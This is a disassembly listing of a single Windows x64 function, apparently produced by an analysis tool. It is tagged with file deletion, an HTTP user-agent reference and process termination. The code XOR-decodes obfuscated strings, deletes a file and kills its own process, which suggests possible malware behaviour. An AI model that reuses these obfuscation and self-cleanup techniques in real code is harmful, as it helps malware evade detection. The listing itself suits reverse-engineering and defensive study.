Function at 0x140006850
Capabilities:
Delete file
Reference http user-agent string
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
call fcn.140002480
mov rcx, rax
call fcn.1400022a0
call fcn.140002480
mov byte [rbp - 0x39], 0
lea rdx, [rbp - 0x48]
cmp qword [rax + 0x20], 0xffffffffffffffff
jne 0x140006c6c
movdqa xmm1, xmmword [0x1400508c0]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x49], xmm1
mov qword [rsp + 0xd0], rbx
xor byte [rbp - 0x47], cl
xor byte [rbp - 0x46], cl
xor byte [rbp - 0x45], cl
xor byte [rbp - 0x44], cl
xor byte [rbp - 0x43], cl
xor byte [rbp - 0x42], cl
xor byte [rbp - 0x41], cl
xor byte [rbp - 0x40], cl
xor byte [rbp - 0x3f], cl
xor byte [rbp - 0x3e], cl
xor byte [rbp - 0x3d], cl
xor byte [rbp - 0x3c], cl
xor byte [rbp - 0x3b], cl
xor byte [rbp - 0x3a], cl
psrldq xmm0, 1
movd eax, xmm0
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xe0], rdi
xor al, cl
mov qword [rsp + 0xe8], r14
lea rcx, [0x140271d60]
mov byte [rbp - 0x48], al
call fcn.140017670
mov rcx, rax
call fcn.1400178e0
movzx eax, word [str.Mozilla_5.0]
mov r14d, 0x58
movzx r11d, word [0x14004ffda]
xor ax, r14w
movzx r9d, word [0x14004ffdc]
xor ax, r14w
movzx ecx, word [0x14004ffde]
mov edi, 0x2b
movdqa xmm0, xmmword [0x140050410]
lea ebx, [r14 + 0x1e]
mov rsi, qword [rsp + 0xd8]
lea r10d, [r14 - 0x37]
xor bx, r14w
mov word [rbp - 0x37], ax
movzx edx, di
mov word [rbp - 0x49], r14w
xor di, r14w
mov word [rbp - 0x47], bx
mov rbx, qword [rsp + 0xd0]
movzx r8d, r14w
xor r8w, r14w
mov word [rbp - 0x45], di
mov rdi, qword [rsp + 0xe0]
xor r11w, r14w
xor r9w, r14w
mov word [rbp - 0x3f], r8w
xor cx, r14w
lea r8, [r14 - 0x59]
xor r10w, r14w
xor dx, r14w
xor r11w, r14w
mov word [rbp - 0x43], r10w
xor r9w, r14w
mov word [rbp - 0x41], dx
xor cx, r14w
mov word [rbp - 0x3d], r11w
mov r14, qword [rsp + 0xe8]
xor eax, eax
mov word [rbp - 0x35], ax
mov qword [rbp + 0x2f], rax
lea rax, [rbp - 0x47]
mov word [rbp - 0x3b], r9w
mov word [rbp - 0x39], cx
movdqu xmmword [rbp + 0x3f], xmm0
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400069e0
lea rdx, [rbp - 0x47]
lea rcx, [rbp + 0x2f]
call fcn.140002600
lea rdx, [rbp + 0x2f]
lea rcx, [rbp + 0xf]
call fcn.140004910
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x2f]
call fcn.140002500
mov rcx, rax
call fcn.140004ec0
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x2f]
call fcn.140002500
mov rcx, rax
call fcn.140005030
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbp + 0x27], 8
lea rcx, [rbp + 0xf]
cmovae rcx, qword [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.140002480
mov rcx, rax
call fcn.1400022a0
call fcn.140002480
cmp qword [rax + 0x20], 0xffffffffffffffff
je 0x140006ad5
movdqa xmm1, xmmword [0x1400508a0]
lea rcx, [0x140271d60]
movd edx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x49], xmm1
mov byte [rbp - 0x39], 0
xor byte [rbp - 0x47], dl
xor byte [rbp - 0x46], dl
xor byte [rbp - 0x45], dl
xor byte [rbp - 0x44], dl
xor byte [rbp - 0x43], dl
xor byte [rbp - 0x42], dl
xor byte [rbp - 0x41], dl
xor byte [rbp - 0x40], dl
xor byte [rbp - 0x3f], dl
xor byte [rbp - 0x3e], dl
xor byte [rbp - 0x3d], dl
xor byte [rbp - 0x3c], dl
xor byte [rbp - 0x3b], dl
xor byte [rbp - 0x3a], dl
psrldq xmm0, 1
movd eax, xmm0
xor al, dl
lea rdx, [rbp - 0x48]
mov byte [rbp - 0x48], al
call fcn.140017670
mov rcx, rax
call fcn.1400178e0
jmp 0x140006c23
movdqa xmm1, xmmword [0x140050510]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x140050890]
movdqa xmm3, xmmword [0x140050520]
movdqa xmm4, xmmword [0x140050500]
movdqu xmmword [rbp - 0x23], xmm2
xor byte [rbp - 0x22], cl
xor byte [rbp - 0x21], cl
xor byte [rbp - 0x20], cl
xor byte [rbp - 0x1f], cl
xor byte [rbp - 0x1e], cl
xor byte [rbp - 0x1d], cl
xor byte [rbp - 0x1c], cl
xor byte [rbp - 0x1b], cl
xor byte [rbp - 0x1a], cl
xor byte [rbp - 0x19], cl
xor byte [rbp - 0x18], cl
xor byte [rbp - 0x17], cl
xor byte [rbp - 0x16], cl
xor byte [rbp - 0x15], cl
xor byte [rbp - 0x14], cl
movdqu xmmword [rbp - 0x13], xmm3
xor byte [rbp - 0x12], cl
xor byte [rbp - 0x11], cl
xor byte [rbp - 0x10], cl
xor byte [rbp - 0xf], cl
xor byte [rbp - 0xe], cl
xor byte [rbp - 0xd], cl
xor byte [rbp - 0xc], cl
xor byte [rbp - 0xb], cl
xor byte [rbp - 0xa], cl
xor byte [rbp - 9], cl
xor byte [rbp - 8], cl
xor byte [rbp - 7], cl
xor byte [rbp - 6], cl
xor byte [rbp - 5], cl
xor byte [rbp - 4], cl
movdqu xmmword [rbp - 0x33], xmm1
xor byte [rbp - 0x31], cl
xor byte [rbp - 0x30], cl
xor byte [rbp - 0x2f], cl
xor byte [rbp - 0x2e], cl
xor byte [rbp - 0x2d], cl
xor byte [rbp - 0x2c], cl
xor byte [rbp - 0x2b], cl
xor byte [rbp - 0x2a], cl
xor byte [rbp - 0x29], cl
xor byte [rbp - 0x28], cl
xor byte [rbp - 0x27], cl
xor byte [rbp - 0x26], cl
xor byte [rbp - 0x25], cl
xor byte [rbp - 0x24], cl
movdqu xmmword [rbp - 3], xmm4
xor byte [rbp - 2], cl
xor byte [rbp - 1], cl
xor byte [rbp], cl
xor byte [rbp + 1], cl
xor byte [rbp + 2], cl
xor byte [rbp + 3], cl
xor byte [rbp + 4], cl
xor byte [rbp + 5], cl
xor byte [rbp + 6], cl
xor byte [rbp + 7], cl
xor byte [rbp + 8], cl
xor byte [rbp + 9], cl
xor byte [rbp + 0xa], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
mov byte [rbp - 0x32], al
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x23], al
movd eax, xmm3
xor al, cl
mov byte [rbp - 0x13], al
movd eax, xmm4
xor al, cl
xor byte [rbp + 0xb], cl
mov byte [rbp - 3], al
xor byte [rbp + 0xc], cl
lea rdx, [rbp - 0x32]
lea rcx, [0x140271d60]
mov byte [rbp + 0xd], 0
call fcn.140017670
mov rcx, rax
call fcn.1400178e0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdx, qword [rbp + 0x27]
cmp rdx, 8
jb 0x140006ccd
mov rcx, qword [rbp + 0xf]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c5e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006cd6
call fcn.14001bfa4
add rsp, 0xc0
pop rbp
ret
movdqa xmm1, xmmword [0x1400508d0]
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rbp - 0x49], xmm1
xor byte [rbp - 0x47], cl
xor byte [rbp - 0x46], cl
xor byte [rbp - 0x45], cl
xor byte [rbp - 0x44], cl
xor byte [rbp - 0x43], cl
xor byte [rbp - 0x42], cl
xor byte [rbp - 0x41], cl
xor byte [rbp - 0x40], cl
xor byte [rbp - 0x3f], cl
xor byte [rbp - 0x3e], cl
xor byte [rbp - 0x3d], cl
xor byte [rbp - 0x3c], cl
xor byte [rbp - 0x3b], cl
xor byte [rbp - 0x3a], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
lea rcx, [0x140271d60]
mov byte [rbp - 0x48], al
call fcn.140017670
mov rcx, rax
call fcn.1400178e0
add rsp, 0xc0
pop rbp
ret
call fcn.140025ba8
int3